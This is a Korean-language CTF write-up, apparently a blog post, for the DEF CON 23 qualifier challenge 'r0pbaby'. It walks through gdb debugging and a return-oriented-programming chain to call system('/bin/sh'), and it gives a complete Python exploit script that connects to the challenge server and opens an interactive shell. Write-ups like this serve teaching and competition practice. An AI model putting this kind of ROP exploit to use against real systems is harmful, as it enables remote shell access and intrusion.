English: Link
다음과 같은 바이너리가 주어집니다.
r0pbaby_542ee6516410709a1421141501f03760
문제 이름에서도 알 수 있듯 rop에 관한 문제입니다. 보호기법을 확인해봅시다.
예상했듯이 NX는 걸려있고 PIE도 걸려있네요.
binary를 실행하면 무엇을 해야하는지 쉽게 알 수 있습니다.
2번으로 원하는 함수의 주소를 건네받고 3번을 통해 overflow를 일으킵니다.
gdb를 통해 오버플로우 과정을 확인해봅시다. PIE 바이너리를 디버깅하려면 set stop-on-solib-events 1를 해준 다음에 code영역 주소가 결정되면 BP를 걸어줍니다. memcpy로 overflow가 일어나므로 memcpy 직후에 BP를 겁시다.
rbp에 바로 copy가 되네요. 그러면 다음과 같이 payload를 짤 수 있습니다.
dummy [A*8]
"pop %rdi; retq"의 주소
"/bin/sh" 포인터
system함수
여기서 rdi에 /bin/sh의 주소를 넣는 이유는 x64에서는 인자가 스택으로 전달되지 않고 다음 레지스터의 순서대로 전달됩니다.
rdi, rsi, rdx, r10, r9, r8
그래서 system의 첫 번째 인자는 rdi에 넣어줍니다.
"pop rdi; retq;" 명령어는 libc에서 ROPgadget으로 찾아봅시다.
그리고 system과 "/bin/sh", "pop %rdi; retq"의 거리를 구합시다.
system-0x22b1a = 0x23b26 = 146214
"/bin/sh"의 주소는 libc에서는 find로 안 구해지네요...ㅠ gdb에서 구합시다.
0x7ffff798dcdb-0x7ffff7857640=1271451
최종 exploit 코드는 다음과 같습니다.
from socket import *
import struct
p = lambda x:struct.pack("<Q", x)
s = socket(2,1)
s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))
print s.recv(1024) # banner
print s.recv(1024) # menu
s.send('2\n')
print s.recv(1024) # which func?
s.send('system\n')
tmp = s.recv(1024)
print tmp
system_addr = eval(tmp.split(': ')[1])
payload = 'a'*8
payload += p(system_addr-146214) # pop rdi; retq;
payload += p(system_addr+1271451) # "/bin/sh"
payload += p(system_addr)
payload += '\n'
s.send('3\n'+`len(payload)`+'\n'+payload)
print s.recv(1024)
s.send('4\n')
print s.recv(1024)
import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()
Flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?
'CTF' 카테고리의 다른 글
Defcon23 (2015) mathwhiz (baby's first 1) writeup (KR) (0) | 2015.05.21 |
---|---|
Defcon23 (2015) r0pbaby (baby's first 1) writeup (EN) (0) | 2015.05.21 |
Defcon23 (2015) babyecho (baby's first 1) writeup (EN) (0) | 2015.05.20 |
Defcon23 (2015) babyecho (baby's first 1) writeup (KR) (0) | 2015.05.20 |
Defcon23 (2015) catwestern (coding 1) writeup (EN) (0) | 2015.05.20 |